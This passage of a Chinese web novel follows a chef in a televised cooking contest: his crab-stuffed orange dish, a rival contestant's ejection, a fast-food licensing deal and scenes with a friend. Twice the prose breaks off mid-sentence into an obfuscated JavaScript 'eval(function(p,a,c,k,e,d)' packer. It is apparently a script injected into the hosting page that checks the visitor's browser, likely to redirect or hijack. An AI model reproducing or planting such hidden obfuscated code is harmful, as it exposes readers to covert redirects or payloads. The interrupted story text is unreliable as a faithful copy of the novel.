薇薇安皱眉看着清单。 虽然运算结果是这样显示的，但她并不能完全认同这个结果。柑橘乳酪蛋糕是很常见的甜点，高硫类的生菜也可以配合橙汁做成沙拉。 她来参加节目是为了提升自己，但比赛毕竟不是搞慈善，自然没必要特意挑出简单的。 她想了想，在橄榄后面打上勾。 在她之后，塞缪尔选择了得分最低的咖啡，加布里埃尔则选择了螃蟹。 随着他们一一作出抉择，这场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蒋醉余忙里偷闲感谢一句他的信任，把五花肉、黄酒和几种去腥香料一起放进锅里煮熟。 猪肉在水中浮浮沉沉，他拿着几只橙子比来比去，选出长得最好看最圆润的一个，从顶部四分之一处切开，用勺子挖出橙子肉，仔细地刮干净内壁。 “醉余，第一次参加淘汰赛感觉怎么样？”评委巡视到了他面前。 蒋醉余一边刻橙子一边回答道：“没什么特殊的感觉，我只需要做菜就好了，结果之类的我无法做出决策就不要去想。” “好吧，你心态不错，”对方笑了笑，“加布里埃尔认为贸然创新可能会让你陷入窘境，那么来介绍一下你这道柑橘螃蟹菜品吧。” “但事实上，这不是创新，”蒋醉余笑起来，“这是一道华夏传统浙菜，蟹酿橙。 “它已经有千年历史了。” 30. 蟹酿橙与味增 “哇哦，真的是千年吗？”评委有些夸张地感叹，“不会是‘世纪蛋（皮蛋）’那种意味的千年吧。” 蒋醉余摇摇头：“它的确是一个古老的菜谱。 “蟹酿橙最早的记载出现在《山家清供》，这本书的作者生活于十二世纪的南宋时期。” 评委掰着手算算年份：“这么说来，就算没有满千年，差得也不多了。那么希望这道历史悠久的菜依然能够适应今天的赛场吧。” 它当然会。 蒋醉余有些怀念地想。 他师父是专做国宴菜的名厨，他第一次帮着师父打下手的峰会宴席上，就有蟹酿橙的影子。 学艺数载，他规模堪称“袖珍”的私房菜餐厅还没有拿到美食奖，自己也还没得到正式出师的认可，就梦醒回到现在的世界。 他甚至至今不知道这究竟是不是只是一场梦，毕竟梦境告诉他的知识与事实都准确无误。 可它又的确像所有梦一样在阳光下褪色，蒋醉余再怎么努力回忆也想不起来梦里亲手为自己餐厅剪彩时的幸福感。 他只能告诉自己，你现在生活的世界才是真实的，梦里那所谓的小说剧情不会对你造成什么影响。 他过着与书中截然不同的安适生活，齐新雨也依旧做着他的“傻白甜”富二代。 这样就已经很好了，他看着手里的橙子告诉自己。 与他随缘佛系的懈怠不同，千年前的士大夫阶层在倒是流亡中也不忘追求生活品质。 南人心思精巧，又文化氛围浓郁，这道自南宋流传下来的蟹酿橙看似工序不多，但每一步都大有玄机。 就拿给橙子“开瓢”这一步来说，其实并不是简单地一刀切出光滑的平面，而是用小刀一左一右刺出锯齿状的界限，形成一排大小均匀的等腰小三角。 而考虑到这道菜本身风味偏向于柔和清淡，蒋醉余选择使用半圆铲状的刻刀，让橙盅与盖子的接缝形成一个个半圆形拼成的花边，再把盖子的边缘整形为三角形。 这样一来，当合拢橙子，它就会有一小圈镂空，构成看起来更加细致而现代的大体外形。 他又换了一把笔画更细更浅的铲刀，在橙皮上刻出蜿蜒舒展的缠枝纹，还有橄榄状花瓣的五瓣花，普普通通的橙子瞬间看起来如同一只宝瓶。 挖出来的橙子肉也不能丢弃，剃掉所有影响口感和味道的白色纤维和隔膜，切成小块放到一旁备用。 一粒粒剔透的橘色果肉挤挤挨挨地贴在一起，轻轻一捏就会爆开酸甜的汁水。 “好精美的橙子，”夏洛特巡视一圈回来，发现蒋醉余还在不紧不慢地刻橙子，好心提醒道，“但不要忘记我们毕竟是厨艺比赛，味道才是最重要的。” “当然不会。”蒋醉余点点头答应。 挖去橙色的表皮、露出米白的内皮，橙子的香气进一步被放出； 而接口处的镂空又细又小，并不会过多影响填充在里面的馅料，依然可以营造出“揭开盖子鲜香扑鼻”的效果。 咕嘟嘟的沸腾声音响起，他把焯好的五花肉拿到流水下冲洗干净，肥美的母蟹已经被架到了蒸笼上。 蒋醉余今天特意挑了一条比较肥的五花肉。并不是做红烧肉或东坡肉偏好的五肥三瘦、层次分明，而是一片凝乳般的雪白。 但比起肥膘肉，肉皮和瘦肉提供了更丰富的口感，也不至于吃起来太过油腻。 趁着蒸螃蟹的时间，把五花肉和去了皮的荸荠切丁，鲜姜剁成姜蓉，等到螃蟹蒸熟再去壳剥出所有的肉和蟹黄。 螃蟹鲜美，橙香清甜，猪肥肉入口即化，这样的搭配已经拥有了足够的风味，蒋醉余润锅时只选择了简单又没什么异味的素油。 葱段和大蒜爆香，煎成微微金黄色后再捞出，香料的味道便融进了油里。 这时候把蟹肉下锅划散，再倒入满满的蟹黄，加上姜蓉和小块橙子一起炒匀。 蟹酿橙的内陷并不是松散的炒菜或结团的丸子，而更接近浓稠的“羹”。 清水难免寡淡，高汤或酒水饮料又可能盖住这几位绝对主角的味道，他选择使用过滤掉干花的菊花茶，小火煮开。 等到出锅前，稍微淋上三种酒类、米醋和提香用的芝麻油。 黄酒的纯净粮食香是国产菜品最熟悉的味道，柚子酒带来另一种清淡微苦的柑橘香气；姜汁啤酒说是啤酒，其实完全不含酒精，酒花味并不重，取而代之的是姜发酵之后柔和的辛辣。 暂时盛在碗里的蟹羹看上去丝滑浓厚，白色的蟹肉、米黄的汤底、明黄的蟹黄，偶尔还能捕捉到一两粒幸运地没有裂开的橙子果肉。 蒋醉余把蟹羹填到刻好的橙子盅里，合上盖子。 按照原版《山家清供》的说法，最后一步是“入小甑，用酒、醋、水蒸熟”。 做国宴时，这一方法被舍弃了，是直接在清水上蒸的，但这次蒋醉余决定复刻古法。 他在水中倒入白酒和米醋，蒸笼里除了橙子还铺了满满一层干菊花，希望可以再多增添一分花香。 待到水烧开，蒸锅上汽，把橙子用旺火蒸八分钟，这道菜也就完成了，剩下来唯一的问题就是摆盘。 橙子自己就是载具，还有精雕细刻的纹饰，但显然不能捧着橙子直接上台，摆盘装饰又不能太过喧宾夺主。 蒋醉余找出最基本的白瓷圆盘，在上面铺上一层白砂糖。 他看看盘子，总觉得缺了些飘逸舒展中国菊花做装饰。但此地远隔重洋，此时恰逢暮春，他的设想大概无论如何都不可能实现。 正在犹豫之时，蟹酿橙蒸好了。 他轻柔地用纸巾蘸干橙子上的水汽，将它放在餐盘正中间，被细细密密的晶莹糖粒簇拥。 蒸笼的密封性很好，刚打开盖就有热气伴着香气扑面而来，至今还没有散尽。 蒋醉余突然想到了什么似的，找出一把喷枪。 他把砂糖从中心向四周逐层燎过，越向内则焦糖化程度越高。他不需要过多的焦糊风味，故而圆心是漂亮的浅褐色，最外圈是完全没有融化的白色。 重新把橙子立在正中，融化的焦糖用牙签挑起来变成肃杀的立体尖刺，与菜品本身的鲜美温和形成鲜明对比。 他一直很擅长卡点，放下手时比赛刚好结束。 蒋醉余不出所料地发现自己又是第一个被叫上台点评的人。 按照瑟琳娜的说法，柑橘最突出的味道就是水果的酸甜，还有隐隐的草木香，口感则是汁水充沛，看起来与以咸鲜滑嫩出名的各类海货适配度极低。 但蟹肉本身也是有一丝甜味的。用这一抹甜提纲挈领，就能串联起这两种食材。 相比于另外两名选择螃蟹的选手将橙子榨汁以解决口感冲突的做法，蒋醉余保留了橙肉本身。 虽然在炒、煮、蒸三重工序之后，橙肉们大多已经融进了汤里，那些保留了形状的果粒却被点石成金般地变成了汤羹里藏着的宝藏。 蟹黄咸鲜，蟹肉软嫩，橙子酸甜，菊香淡雅，彼此交织又毫不杂乱。 姜啤和柚子酒的加入又增添了一冷一暖的底味，使食客吃再多也不会感到腻味。 “在把这一勺吃进口中之前，我都完全没有想象过这道菜会是如此的味道。它又甜又咸，但是并不奇怪，甚至相当好吃。”奥斯汀说。 “把甜和咸平衡到这个地步，让它们融洽协调，而非以甜衬咸、以咸衬甜，这是一个绝对大胆又绝对成功的做法。” “我不得不承认，哪怕一千年过去，这品蟹酿橙也依然拥有征服味蕾的魔力。”夏洛特总结道。 “感谢中国古人把它记录下来，也感谢醉余你把它搬到赛场上来。” 但正如加布里埃尔在挑选食材时所期待的，另外两个选择螃蟹的人就没有这么好运了。 伊拉选择了葡萄柚对传统柑橘螃蟹沙拉进行改良，却没能掌控好它们淡淡的清苦，甚至加入了同样微苦的孢子甘蓝和埃曼塔大孔奶酪。这份独特的苦味最终也没有变成让人喜爱的“风味”。 丽贝卡则进行了大刀阔斧的创新，做出一份蟹黄黄油炒蛋，再配上橙皮面包做成三明治，结果也只能说是差强人意。 勇敢挑战橄榄和味增的三人中，粥川作为日裔自然是选择用味增和柚子制作调味饭。 伊薇特则呈上了一道甜品，蜜橘凝乳脆橄榄和肉桂姜饼。 “安迪，”夏洛特皱眉道，“说实话，我们和赞助商敲定这周‘协调’的比赛主题的时候，最担心的就是你。” 他在从前的比赛中就表现出了在复杂风味把控方面的缺陷，这场挑战赛着重考验味道和食材搭配，对他来说是非常不利的情况。 然而安迪自己从不觉得他的菜味道杂乱，这次就信心满满地知难而上，挑选了香橼作为自己的柑橘类题目。 “这是一道泰式冬阴功汤风味的酸辣味增汤。”他指着颜色奇怪的汤说。 “泰式冬阴功汤风味——酸辣——味增汤？”评委一字一顿地重复道。 “是的。”安迪充满信心地点点头。 冬阴功汤可能算是泰国最有名的一道菜了。 汉语中这个词是音译的，它实际的意思是“酸辣虾汤”，其中辣味的来源是当地特产的辣椒和辣咖喱，而酸味主要由卡菲尔柠檬提供。 再加上极富热带特色的椰粉、虾油、鱼露，以及大量香料，成品劲爆、浓墨重彩，喝起来口感略带沙质。 可与之相对的，味增汤作为日本传统菜肴，是定食和简餐里的常客，味道咸鲜，搭配的大多也是豆腐、海带之类清淡的素菜。 “所以我烧热椰子油把虾头煸出红油，加入味增、辣咖喱块，用木鱼花和昆布煮成的高汤替代冬阴功汤中的清水或椰浆，等到出锅前再挤上卡菲尔柠檬和香橼汁。” 安迪自认为其中辣味和酸味的材料使用得都比较少，依然能尝出来味增的酱香。 夏洛特轻轻撇了一勺汤：“但是我们知道，酸辣经常会被用来祛腥或掩盖异味，和鲜味是彼此矛盾的。” 味增作为发酵豆酱的咸味的确被保留了，清淡高汤的鲜味却几乎可以说是分毫不剩。 评委用公勺在汤里搅了搅，听着安迪继续介绍：“食材方面，我选择了螃蟹、鲍鱼、蛤蜊、嫩豆腐、草菇还有腌橄榄。” 夏洛特勺子一顿，看起来有些震惊到迷茫： “我想我有必要确认一下，我们的要求是必须使用柑橘，同时在橄榄、味增和螃蟹里三选一即可，并不需要全都用到。” 安迪不以为意：“我想挑战自己，这样也比较能展现我的水平，我才不是醉余那种背菜谱混日子的人。” “打住，你总是不要对标醉余，”夏洛特揉了揉太阳穴，“我们现在是淘汰赛。” 淘汰赛的第一要义是保证自己能继续走下去，比赛资格没了再说什么都是白搭。 “但是淘汰赛第一名往往能在下一周的挑战赛中获得优势，不是吗？”安迪振振有词，“我不想走一步看一步，我觉得挑战赛同样重要。” 按部就班、中规中矩通常能让选手在淘汰赛中存活，但并不会拿到第一，创新则风险与收益并存。 选手们自身的水平和性格决定了他们具体采用何种策略，安迪显然是其中最激进者。 夏洛特叹了口气：“我们说得直白一点，安迪，你前几周的表现都不理想，没必要把目标定得太高。” 第一周的积分赛，他在第三轮魔方蛋糕的制作中喜提零分。 第二周两轮比赛，他的表现都中规中矩，不过有人发挥更差。 第三周的淘汰赛，他落入了最后三名，差点就要被送走。 而现在第四周再次进入淘汰赛，安迪却依然没有任何“求稳”“苟排名”的想法，甚至想着要在下周比赛中获得优势。 这样的目标几乎可以称得上好高骛远了。 “我很遗憾，你这次的挑战也谈不上成功。”夏洛特终于道。 咖喱的香料味和辣味、柑橘和柠檬的酸味、味增的酱香、木鱼花和海鲜的鲜香、鱼露令人又爱又恨的特殊发酵味、甚至还有腌橄榄的酸辣，零零总总汇成一锅大杂烩。 “我实在不能理解，你是怎么想到把东南亚的大量香辛料和追求天然本味的日料放在一起的。” 这已经不是彼此搭不搭配的问题了，它们简直是水火不容。 “草菇很入味，换句话说就是它吃起来很可怕。”夏洛特抬手制止安迪试图反驳的话语，一样样地评价。 “腌橄榄煮久了不成形，失去了爽脆的口感；鲍鱼和螃蟹老了，蛤蜊没煮熟，但最重要的是——” “你似乎对豆腐并不怎么了解，它都不能叫没煮熟，应该叫还是生的。” 夏洛特扫了一眼汤碗，毫不留情地把食物倒进了垃圾桶。 “就算随便找一家泰餐店和一家日料店，各点一道冬阴功汤和味增汤，再手动混合到一 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“我说得更明白一点，你做得这个鲍鱼的火候根本不需要品尝。 “只要看过你做饭过程的人，都一定能够笃定地说出煮得太久了，和等待评价的这一小段时间没有任何关系。” “四个星期过去了，我在你身上看不到任何愿意学习和改变的迹象。” “啊，那我学什么呢？学我们的大冠军醉余投机取巧，还是学你扭着走路？”安迪嗤笑一声。 夏洛特面色几变，蓦地转身向镜头外的导演组走去。 他竟是直接将评委气离了场。 导演连忙让摄像师停机，把其他选手都组织去休息，只留核心策划、三位评委和安迪在。 蒋醉余跟着选手助理离开的时候，还能听到他的大声反对：“我一个选手对你们节目组这么多人，谁知道你们会不会威胁我？” 他无可奈何地摆摆手，不再关心对方的命运。 却有兴致勃勃想八卦的人凑到他面前：“醉余，你是把他怎么了。安迪处处针对你、什么都比着你来，已经不是第一次了。” 蒋醉余也不能理解：“不知道，我们几乎没说过话。” 安迪简直像和他有什么生死大仇一样盯着他，从来不掩饰自己的恶意，可蒋醉余冥思苦想也没想起来自己和对方有过什么矛盾。 他回忆半天，犹豫道： “我感觉我第一次见到他的时候他就态度不好，问我是不是门口名卡上那个中国人，我承认了以后他就说等着我一轮游卷铺盖回家。” 名卡上除了名字就只有国籍，蒋醉余的名字没什么特殊的，那么真相只剩下了一个。 众人对视一眼，都没说话。种族歧视在欧美是个——至少名义上讲——很严重的指控。 一片寂静中，洛伦佐突然开口：“粥川，安迪好像对你态度还不错？” 粥川表情僵硬了一瞬间，故作轻松解释道：“没感觉到有什么特殊的。我虽然是日裔，但我也是意大利出生长大的啊。” “那好吧，还以为他对所有黄种人都有意见呢，”洛伦佐大大咧咧地说，“不过他刚才那话可真够有病的，我还没见过夏洛特主厨发这么大火。” 采访组的副导演打破寂静，趁着录制停止把他们逐个喊走。蒋醉余坐在熟悉的位置，来自节目组的问题一如既往尖锐。 “昨天的团队赛中，我们看到你和粥川就‘包子’的做法发生了争执。但世界文化本就是彼此交流的，你会不会觉得自己不够包容呢？” 蒋醉余靠到椅子上，笑了一声：“那你要不要问问洛伦佐接不接受菠萝披萨？” “我们并不是因为做法不同而争吵。”他纠正道 “我不在意他们在国内管这个叫什么、或加入了什么改良，但在世界赛场上，我想我有权力发声：就连日料中著名的ramen，拉面这个名字也是来自汉语的。” 导演攒够了素材，又问：“节目刚开始的时候，你说你是为了包食宿才来报名，现在你已经赢取了不少奖金、又刚刚失去了一次冠军，你还期待后面的旅程吗？” 换句话说，你想退赛吗？ 蒋醉余一愣。 他想开个玩笑说挣钱谁也不嫌少，想说自己很珍惜这里的部分评委和对手，想说他希望能借这个机会让更多人认识到中餐最精细的一面。 他还想说，他不太想离开现在的住所…… 哪怕齐新雨经常兴致勃勃地分享自己又去看了他最崇拜的艺术家的展览。 齐新雨有好多偶像，每一位都是靠着作品与灵魂吸引他，而不是只能卖弄一张脸的就成为缪斯。 他看到录影棚摄像机一闪一闪的红光，在心里叹了口气。 采访很快结束，蒋醉余有些恍惚地回到厨房。 “幸亏安迪是最后一个，”丽贝卡哼道，“要不然排在他后面的人三分熟牛排都能等成全熟。” “六名淘汰赛选手的菜品都已经品尝、点评完毕了，下面我们宣布本轮结果。”难得是奥斯汀负责揭晓名单。 他似乎心情也不怎么样，语速平静却飞快地报出了没有任何惊喜的结果。 “第四周淘汰选手：安迪。请到门外摘下你的名卡，你的征程到此结束。” 除了其余九人不出所料的眼神，这话没有得到任何回应。 在他们回到赛场之前，安迪已经甩上门离开了。 “另外，”夏洛特说，语气透出疲惫，“我们将会启动调查，彻查安迪选手的入围视频、海选赛和预赛资格，如果有任何不合程序的环节都将向全网公开。” 这个决定已经是在明说，节目组对他的水平完全产生了怀疑，认为他是靠手段进入的比赛。 从来不干扰拍摄的导演也咳了一声：“希望各位选手务必尊重比赛、尊重评委，我们在签约合同中也有说明相关的责任义务。” “还有一个好消息。”奥斯汀勉强扯起嘴角，看起来还不如不笑。 “醉余，恭喜你获得淘汰赛第一名，你将会拿到和挑战赛冠军单人等额的奖金。我们下周再见。” 本应紧张揪心的录制就这样草草结束，蒋醉余收拾好东西准备回家，突然收到一条消息通知。 斯蒂芬先生：【醉余，恭喜你在《美食之王》中的辉煌战绩，我们总公司有一笔关于咸蛋炸鸡汉堡的生意想和你谈。】 31. 咸蛋汉堡套餐 自从预赛结束那次视频应援以来，蒋醉余已经有阵子没和斯蒂芬先生联系了。 一个多月下来接触了太多新鲜的人和事，他甚至几乎把自己卖出去的汉堡授权都抛之脑后。 此时突然收到这么一条短信，竟然还有点物是人非的沧桑感。 斯蒂芬先生笑呵呵地和他分享着自己近来的经历，话里话外都是感激。 最初只是唱歌剧的拉美青年拉着自己的几个朋友来捧场。 口中说着“陪你试试”的朋友们，却无一例外全都被汉堡折服。 松软的面包搭配酥脆的炸鸡，经典搭配的浅绿色生菜没有太重味道，咸蛋黄独特的气味被温度和油脂激发，萦绕在食客鼻翼。 咸蛋黄鲜味十足，祛腥的白胡椒铺垫出柔和的微辣。 最令人沉湎的是裹在面衣里没有完全磨碎的蛋黄颗粒，沙沙的质感被牙齿碾碎，甚至能咂么出一丝回甘。 直到综艺开播，蒋醉余人气飙升，他们又有了新的安利话术—— 蒋醉余给出菜谱之后没几天就去参加了海选，四舍五入这就是《美食之王》水准的汉堡啊！ 好奇选手水平的节目观众和爱看热闹的围观群众们，尽数涌向了快餐店。 店内的收入创下新高，收到月度财报的总公司当即经由斯蒂芬先生联系上了蒋醉余。 蒋醉余带上万能的选手助理，和他们约在伦敦的一间咖啡厅见面。 “醉余，”助理在路上问，“你对价格权益什么的有想法吗？”比如菜谱是买断还是分成、配合宣传可以做到什么程度…… 助理跃跃欲试，已经在脑中计划了无数种谈判策略，却听蒋醉余思索半天吐出两个字：“随便。” 助理停下车给行人让路，扭头去看自己负责的这位人气选手。 他能听出来这位顶流选手真的不是在敷衍自己，只好道：“那待会我来说话，醉余你就坐在旁边看着就行。” 可千万别让合作方听到“待遇随便”这种发言。 说话间，他们的车子停在了咖啡厅门口，斯蒂芬先生已经陪着一名西装革履的男子站在那里等候。 男子笑容可亲：“醉余，很荣幸见到你。我叫约瑟夫，是壹嘉餐饮的研发部副总监，主要负责快餐线的产品。” 壹嘉，就是斯蒂芬先生汉堡店的品牌。 这位一脸精英气质的研发部员工此来不仅是为了商业谈判，也是为了讨论汉堡量化生产的精确细节。 他还有另一个身份，创始人之子、未来的公司掌舵人。 蒋醉余在助理难以置信的眼神里缓缓开口：“其实我对这个汉堡不是很满意。” 当时时间紧急，可用材料也不多，一开始做给拉美青年的那版除了裹粉以外几乎没有什么改良。 后来给斯蒂芬先生写的菜谱，对方也不想增加太多工作量。 所以他只是把风味浓郁的紫甘蓝沙拉换成了普通生菜，至于酱料面包之类的都是标准配方。 “我能够提供的配方取决于贵公司对汉堡的定义和期待。”他说，一句话安抚了助理。 “从做法到食材，都有所不同，”蒋醉余道，“品质最好的当然是中国高邮地区的咸鸭蛋。” 斯蒂芬先生现在用的就是他之前在中超买的成品咸蛋黄，真空包装、只有蛋黄。 不仅口感比自然的鸭蛋要紧实压缩一些，还腥味更重，也缺少来自蛋白的风味辅助。 “中国人对衣食住行都很讲究，也很有生活情趣。” 蒋醉余像个推销员，描述得绘声绘色： “有文人这样描述高邮的鸭蛋：‘筷子头一扎下去，吱——红油就冒出来了’，那种黄心鸭蛋是不能比的。” 咸蛋的妙用也并不局限于给炸鸡调味这样“平平无奇”的改良。 比之更有名的要数金沙南瓜，炒到咕嘟嘟冒泡的咸蛋黄层层叠叠裹在南瓜上，带来更浓郁、更具攻击性的香气。 南瓜鲜甜细腻，和鸡肉或者咸蛋都是绝配，粗粮的身份也使它成为很多人在制作欧包时的心头宠。 在制作汉堡胚的时候加入南瓜泥，再加上金沙南瓜条作为小食，饮料也可以用气泡水果茶替换常规汽水，这就能凑齐一份完整的基础套餐了。 他并没有一一把这些全都介绍出来，约瑟夫的注意力还集中在食材上：“但是，醉余，运输对我们来说是一笔不菲的费用。” “这只是我作为一个厨子的建议罢了。”蒋醉余也摊了摊手。 助理握着从蒋醉余那拿到的几档食谱，和约瑟夫唇枪舌战，最终以分成联名的方式达成了合作。 蒋醉余需要直接冠名这个套餐；而约瑟夫把几样菜品全部买下，还准备订购一批高邮鸭蛋，做成限定版。 如果最终蒋醉余拿下冠军了，他们还会追加一笔费用。 哪怕是在助理的设想中，这也算得上是最好的待遇了，甚至好得仿佛有什么阴谋。 “不过我还有个不情之请，”这位年轻的副总监笑眯眯道，终于图穷匕见，“我们在短视频网站上刷到了你送给观众的豆乳提拉米苏，对那几样贴纸和明信片也很有兴趣。” 蒋醉余了然点头：“那是我朋友免费画的，我想我不能替他做主。” “那么我可不可以知道他的联系方式呢？”约瑟夫问。 “我想你认识他，”蒋醉余扫了一眼他熠熠生辉的宝石袖扣，不紧不慢道，“我的朋友是Zephyr Qi。” “这不可能！”约瑟夫脱口而出。 他在剩下两人或迷茫或疑惑的眼神中连道几声抱歉，又说道： “醉余，我完全没有质疑你的意思，只是我去过泽菲尔最近一次画展……它们看起来似乎、嗯，不太一样。” 蒋醉余没太理解：“能展出的油画作品和随手摸鱼自然不会一样。” 约瑟夫很谨慎地措辞：“我谈不上是个艺术爱好者，就我个人审美而言，我觉得泽菲尔已经有了一套很成熟的创作风格。” 他说着，从手机上搜出当年展览的宣传网站：“你看，这是我非常喜欢的一幅画，我觉得也是最能体现他特点的。” 蒋醉余接过他的手机。 显而易见，这是一副以爱情为主题的作品。 四边窗框颜色压得深沉，画家与观者一同居高临下凝望路上的一对恋人。 他们面容模糊，年轻人将深红的苹果顶在头上，张开双臂摇摇晃晃地走在狭窄的路崖上。 这场景本该鲜活温暖，甚至因为苹果这个元素的加入而带了几分情色意味。 约瑟夫展示出的这张图片却显得冷淡而疏离。 恋人们愈是缠绵缱绻，愈衬得作画者的视角冷眼旁观。 他不是爱情的歌颂者或批判者，他只是置身事外地观察着；明明没有主观评价，却因太过抽离而显得悲观。 画作下方写着展览时间，是三年前的事情了。 那时候蒋醉余还在写着他的营养学毕业论文，还没收到来自男团星探的邀请，还籍籍无名。 那时候他和齐新雨还完全像是两个世界的人。 “泽菲尔德的油画是习惯以低饱和的灰蓝色铺底的。”约瑟夫止住话题，吞下后半句。 蒋醉余知道他想说什么：这个Q版人物的用色大胆而明快，完全不像是艺术爱好者们眼中齐新雨应有的基调。 “我明白，”他沉默一瞬，轻声道，“但他可是泽菲尔啊。” “比起笃定他只擅长某一风格，也许你可以先联系他试试，不是吗？” 助理适时地出来打圆场，代表节目组把话题引向其它宣传计划。 蒋醉余摸出手机，慢吞吞地戳着屏幕发消息：“小齐老师，有兴趣接便宜外快吗？” 相比于那些求画无门的藏家，壹嘉的工作看上去完全不上档次。 但他还是顺从本心发出了这条消息。 约瑟夫说话称得上委婉，可蒋醉余总记得他一瞬狐疑的眼神。 他知道自己只是看上去面不改色，其实以前从来没有搜索过齐新雨除了“吹不散西风”这个马甲以外的画。 他只在家中偶然见过的齐新雨现在的作品，和约瑟夫给他展示的的确氛围不尽相同。 他又想起来人工智能一板一眼的那句回复来： 缪斯激发艺术家的想象力和创作热情。 蒋醉余说不上是为什么，似乎与其说自己想不到上网查查齐新雨的履历、或者觉得这样私下“调查”朋友不礼貌，倒不如说一直由于某种莫名的原因不敢搜索。 不听、不看、不追问、不好奇，身世与行业领域的巨大鸿沟就不会显露出来。 一个正常的偶像，应该不会冒出“希望他只看着我一个人笑”或“不希望我们看上去毫不相干”的想法吧。 齐新雨那边大概是在忙，还没有回复。 他盯着对话框，默默叹了口气。 “醉余，你看看还有没有什么问题或者不满意的地方。”一叠被写写画画加了不少标注的文件被助理推到他面前。 蒋醉余把心思抽回眼前的事上。 不知不觉间，一下午的时间都耗费在咖啡馆。等他和助理回到节目录制基地时，其他选手已经完成了今天的基础训练课程，正在听点评。 今天下午的教学时间属于梅森。 蒋醉余才刚推开门，就听他从菜品建议上话锋一转：“基本功一天不练都会退步。你们看夏洛特主厨做菜多么行云流水，拆鸡斩牛都毫无阻碍，那是多少年的经验技术积累—— “和切丝这种简单的肌肉记忆可不一样。” 话里话外阴阳怪气，简直像个小学生。蒋醉余懒得理他，默默回到操作台后面站好。 他下午是光明正大请了假出门的，其实完全可以一走了之，回来也主要是因为夏洛特主厨说有事找他。 “有的人啊，取得一点小成绩就心浮气躁，”梅森继续道，“知道的说这是位厨师——啊不，业余厨师——不知道的还以为是东亚那种又唱又扭的男团偶像呢。” 如果说刚才还勉强称得上指桑骂槐，现在就是明晃晃地在针对了。 选手之间了解彼此靠日常相处，但是评委可是能看到他们每个人的简历的。 蒋醉余怎么也想不明白自己到底哪里惹到了这位主厨，节目还没录多久，莫名其妙的恶意遭受了不少。 但哪怕是节目刚开始的时候，梅森也没有这么直白地针对过他。 蒋醉余向周围扫了一眼，副导演和花絮摄像师站在一边充当木桩。 摄像机运行中的示意灯一闪一闪，说不定就有哪个片段会被他们剪出来。 “我倒是真的会唱跳，做艺人也十分不错的职业，”蒋醉余笑了笑，不紧不慢道，“那么想必菊花豆腐这种刀工对梅森主厨也是小菜一碟吧。” 现场空气几乎凝固，副导演两眼放光，也不打断，蒋醉余觉得他内心大概在高呼“打起来”、期待这位评委脑子一热当即表示要复刻。 评委挑战选手的预赛菜品，讨论度这不就来了。 蒋醉余只想讥他一句，也没有那么多出风头的欲.望，好在梅森并不配合，轻飘飘道：“刀工也不过是基本功中最基础的一部分。” 他像刚才完全没有经历过任何纠纷似的，继续给另外八人总结这一下午出现的问题，最后才面无表情道： “经核查，安迪选手在海选赛中贿赂评委，预赛菜品非个人原创，并在正赛中多次顶撞主厨、侮辱其他选手。 “决定撤销其正赛资格，在第五周、也就是下周比赛中，将有新选手替补晋级。 “所以明天，也就是星期日，我们将从五位选手中选出一位候补选手，欢迎大家前来观战。” 宣布完这个爆炸性的消息，他并不停留，转身离开了厨房。 蒋醉余拿到夏洛特特意整理给他的一部分课程教案。 除了快餐公司的联名以外，本集综艺马上也要在中国内地上线了，他需要请假的还不只是今天这一下午。 他翻看着自己忙碌的日程，手机上接连不断地弹出消息提示。 节目组前脚在网上发了公告，宣布取消安迪的资格，后脚安迪就亲身下场质问起来。 在他的叙述中，他只是个被评委迫害的小可怜选手。 蒋醉余则是不知道和导演达成了什么丑恶交易的关系户，他所遭遇的一切不公平待遇都只是因为自己想要和对方正面竞争。 一篇小作文写得花团锦簇，没多久就冲上了黑叉热搜趋势。 蒋醉余看着他的长篇大论，几乎要笑出声。 要是真的问心无愧，为什么不把实情说出来呢？ 说他如何听不进建议，说他如何侮辱评委和队友，说他自负狂傲、谁都看不起的性格在正赛十二人里都是多么的不受待见。 他美化自己的错误行为，蒙蔽不知内情的观众，但好奇心爆发的人们已经把目光放到了公告中斩钉截铁的那句“海选贿赂评委”上。 负责安迪所在赛区海选的，是一名出身美国餐饮家族的中年评委。 他自己的厨艺谈不上多么厉害，从来没有获得过美食奖。 但作为一名职业投资人，他的眼光和品味都不错，每年都有名下的餐厅能够摘奖。 【尼尔森·布朗，这个名字感觉有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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除了西风太太画过的、他曾经在国内穿过的短外套，作为伦敦分队名义上的队长，他还额外有一件大氅。 只不过这个舞台配合太难，他和塑料队友们一直没练出来，大氅也就掩在防尘袋里无人得见。 都是一脉相承的风格，想来他应该也会喜欢的吧，蒋醉余把行李箱推到门口。 打破拘谨的最好方法，就是创造一次足以撞碎所有隔膜的巨大情绪波动，比如一份足以打破形象包袱的讶异。 作为节日的一部分，小镇里不乏租赁或出售哥特系服装的商铺。 蒋醉余哄着齐新雨先去试衣服，和导购小声交谈几句，拎着自己的包两手空空也进了隔壁试衣间。 他穿惯了的演出服，在后台练就一身光速更衣的本事，本以为自己能穿戴整齐地迎接齐新雨，却没想到率先被震惊到的是他自己。 齐新雨已经站在了镜子前。他选的是一套还算常规的短斗篷配长裤，料子顺滑柔软，装饰繁复。 他低着头，很认真地整理扣子。 并非人们提起王子系时第一反应的短裤长袜——毕竟他小时候真的在穿这种东西——配色也是很符合节日气氛的冷调深色，蒋醉余却一瞬间看他像极了童话书里不谙世事的小王子。 他保持着掀开更衣室帘子的动作愣在原地，只觉得自己像那条蛇，想要把大象一口吞入腹中，共同变成那顶巨大的礼帽，任谁看来他们都是一体的…… 这都哪跟哪啊。 他无奈地晃了晃脑袋，齐新雨恰巧转过身来，张张口，把嘴唇咬得发白。 蒋醉余看到他抽了抽鼻子、眼眶慢慢红了起来。 蒋醉余身上这件大氅两个人都很眼熟。从前他还在国内的时候，这一直是南楠的演出服。 他当时按队形站在对方后面一点，每每做到一个扬手的动作，南楠胳膊带着长至小腿的外套挥起来，下缘就会被掀到他脸上。 